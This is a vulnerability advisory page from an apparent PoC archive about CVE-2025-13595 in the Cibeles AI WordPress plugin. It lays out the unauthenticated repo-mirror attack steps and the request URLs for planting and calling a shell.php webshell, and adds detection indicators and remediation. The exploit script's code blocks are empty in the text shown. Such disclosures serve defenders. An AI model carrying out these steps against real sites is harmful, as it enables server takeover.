Cibeles AI `actualizador_git.php` Unauthenticated Arbitrary File Upload / RCE (CVE-2025-13595)
by Ryan Kozak (d0n601) · 2026-07-06
- Severity
- Critical
- CVE
- CVE-2025-13595
- Category
- web
- Affected product
- Cibeles AI (WordPress plugin)
- Affected versions
- <= 1.10.8
- Disclosed
- 2026-07-06
- Patch status
- unpatched
Tags
References
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-06 |
| Last Updated | 2026-07-06 |
| Author / Researcher | Ryan Kozak (d0n601) |
| CVE / Advisory | CVE-2025-13595 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (per NVD) |
| Status | Weaponized |
| Tags | wordpress, cibeles-ai, unauthenticated-file-upload, github-mirror-abuse, webshell, python, cwe-434, cwe-306 |
| Related | CVE-2025-13597 |
Affected Target
| Field | Value |
|---|---|
| Software / System | Cibeles AI (WordPress plugin) |
| Versions Affected | <= 1.10.8 |
| Language / Platform | Python 3 exploit targeting a PHP/WordPress plugin |
| Authentication Required | No |
| Network Access Required | Yes |
Summary
The Cibeles AI plugin ships a debug/update helper, actualizador_git.php, directly inside its plugin directory. The file is missing the standard WordPress ABSPATH guard, so it is reachable over plain HTTP without any authentication, and it implements a “GitHub repository mirror” feature: it reads owner, repo, ref, and token straight from $_GET, downloads the corresponding GitHub repo zipball via the GitHub API, extracts it, and recursively copies/overwrites every file in the plugin’s own directory to match the downloaded repo — deleting any local file not present in the attacker-supplied repo. An unauthenticated attacker who owns (or has push access to) any public/private GitHub repo can point this endpoint at their own repository containing a PHP webshell, and the plugin will dutifully install it inside wp-content/plugins/cibeles-ai/.
Vulnerability Details
Root Cause
actualizador_git.php reads attacker-controlled parameters with no authentication and no validation of the target repository:
| |
The only “check” is that a non-empty, non-default token value is supplied — any valid GitHub PAT works, including one belonging to the attacker’s own account, since $OWNER/$REPO are never restricted to the vendor’s actual repository. The downloaded zipball is then extracted and mirrored on top of the live plugin directory:
| |
rrcopy_into() recursively copies every file from the attacker’s repo into the plugin directory (overwriting existing files), and mirror_delete_extras() deletes anything not in the attacker’s manifest — giving full read/write control over the plugin’s PHP files.
Attack Vector
- Attacker creates a public GitHub repository (e.g.
minimal-rce) containing a PHP webshell file (e.g.shell.php). - Attacker obtains any valid GitHub Personal Access Token (their own account’s token is sufficient — it is only used to authenticate to the GitHub API, not to authorize against the target).
- Attacker sends
GET /wp-content/plugins/cibeles-ai/actualizador_git.php?owner=<their_owner>&repo=<their_repo>&ref=main&token=<their_PAT>to the target site. - The plugin downloads and mirrors the attacker’s repo into its own plugin directory, planting
shell.php. - Attacker requests
/wp-content/plugins/cibeles-ai/shell.php?cmd=<command>to execute arbitrary OS commands as the web server user.
Impact
Unauthenticated arbitrary file write leading directly to remote code execution as the web server user (www-data in the PoC), and full compromise of the WordPress installation.
Environment / Lab Setup
Target: WordPress install with Cibeles AI plugin <= 1.10.8 active
Attacker: Python 3, `pip install requests`
Attacker-controlled GitHub repo (e.g. d0n601/minimal-rce) containing shell.php,
and a valid GitHub Personal Access Token (github_pat_...)
Proof of Concept
PoC Script
See
CVE-2025-13595.pyin this folder.
| |
Detection & Indicators of Compromise
GET /wp-content/plugins/cibeles-ai/actualizador_git.php?owner=...&repo=...&ref=...&token=... HTTP/1.1
GET /wp-content/plugins/cibeles-ai/shell.php?cmd=... HTTP/1.1
Signs of compromise:
- Any external request to
actualizador_git.phpwith non-defaultowner/repoparameters - Recently modified/created PHP files inside
wp-content/plugins/cibeles-ai/that don’t match the official plugin release - Presence of
shell.phpor any unexpected single-file PHP scripts under the plugin directory - Outbound HTTPS connections from the web server to
api.github.comat unusual times, correlated with plugin file changes
Remediation
| Action | Detail |
|---|---|
| Primary fix | Update Cibeles AI to a version that removes or properly authenticates actualizador_git.php (add ABSPATH check, restrict to admin-authenticated + capability-checked requests, and pin the mirrored repository) |
| Interim mitigation | Delete or block direct HTTP access to actualizador_git.php via web server rules; monitor plugin directory file integrity; restrict outbound connections from the web server to api.github.com |
References
Notes
Mirrored from https://github.com/d0n601/CVE-2025-13595 on 2026-07-06. Short (55-line) but fully functional exploit script; the technical README includes a precise line-by-line root-cause walkthrough matching the vulnerable plugin file.
| |